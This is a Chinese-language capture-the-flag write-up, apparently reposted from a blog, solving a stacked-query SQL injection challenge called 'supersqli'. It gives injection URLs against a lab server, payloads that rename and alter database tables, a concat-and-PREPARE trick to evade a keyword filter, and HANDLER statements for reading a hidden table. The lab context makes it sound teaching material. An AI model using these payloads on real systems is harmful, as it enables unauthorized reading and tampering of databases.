本文共 2409 字,大约阅读时间需要 8 分钟。
http://220.249.52.133:57962/?inject=1%27;%20show%20databases%20--+
http://220.249.52.133:57962/?inject=1'; use ctftraining;show tables --+
这里,进入ctftraning数据库,查询表
发现了flagtable 那么我们查询字段 此刻我们发现里面并没有内容, 我们进入sqlmap跑出来的surpersqli数据库试试 发现了一个可疑的表 (字符串为表名操作时要加反引号)根据两个表的情况结合实际查询出结果的情况判断出words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构是id和data,传入的inject参数也就是赋值给了id
这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag 将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
这段代码的意思是将words表名改为words1,1919810931114514表名改为words,将现在的words表中的flag列名改为id 然后用1’ or 1=1 #得到flag
alter table使用concat进行绕过
MySQL的concat函数可以连接一个或者多个字符串,如mysql> select concat('10');+--------------+| concat('10') |+--------------+| 10 |+--------------+1 row in set (0.00 sec)mysql> select concat('11','22','33');+------------------------+| concat('11','22','33') |+------------------------+| 112233 |+------------------------+1 row in set (0.00 sec)
1';use supersqli;set @sql=concat('s','elect * from `1919810931114514`');PREPARE pre FROM @sql;EXECUTE pre;--+
1';handler `1919810931114514` open;handler `1919810931114514` read first;#
使用handler函数
mysql> handler handler_table read first;+------+-------+------+| c1 | c2 | c3 |+------+-------+------+| 2 | name2 | 2 |+------+-------+------+mysql> handler handler_table read next;+------+-------+------+| c1 | c2 | c3 |+------+-------+------+| 5 | name5 | 5 |+------+-------+------+mysql> handler handler_table read next;+------+-------+------+| c1 | c2 | c3 |+------+-------+------+| 1 | name1 | 1 |+------+-------+------+mysql> handler handler_table read next;+------+-------+------+| c1 | c2 | c3 |+------+-------+------+| 4 | name4 | 4 |+------+-------+------+mysql> handler handler_table read next;+------+-------+------+| c1 | c2 | c3 |+------+-------+------+| 3 | name3 | 3 |+------+-------+------+mysql> handler handler_table read next;Empty set (0.00 sec)
查找到匹配的字符串 php。
select * from users where id=1;create table test like users;
就相当于加了一个 ;
将一句话当成了两条命令来执行转载地址:http://lrugf.baihongyu.com/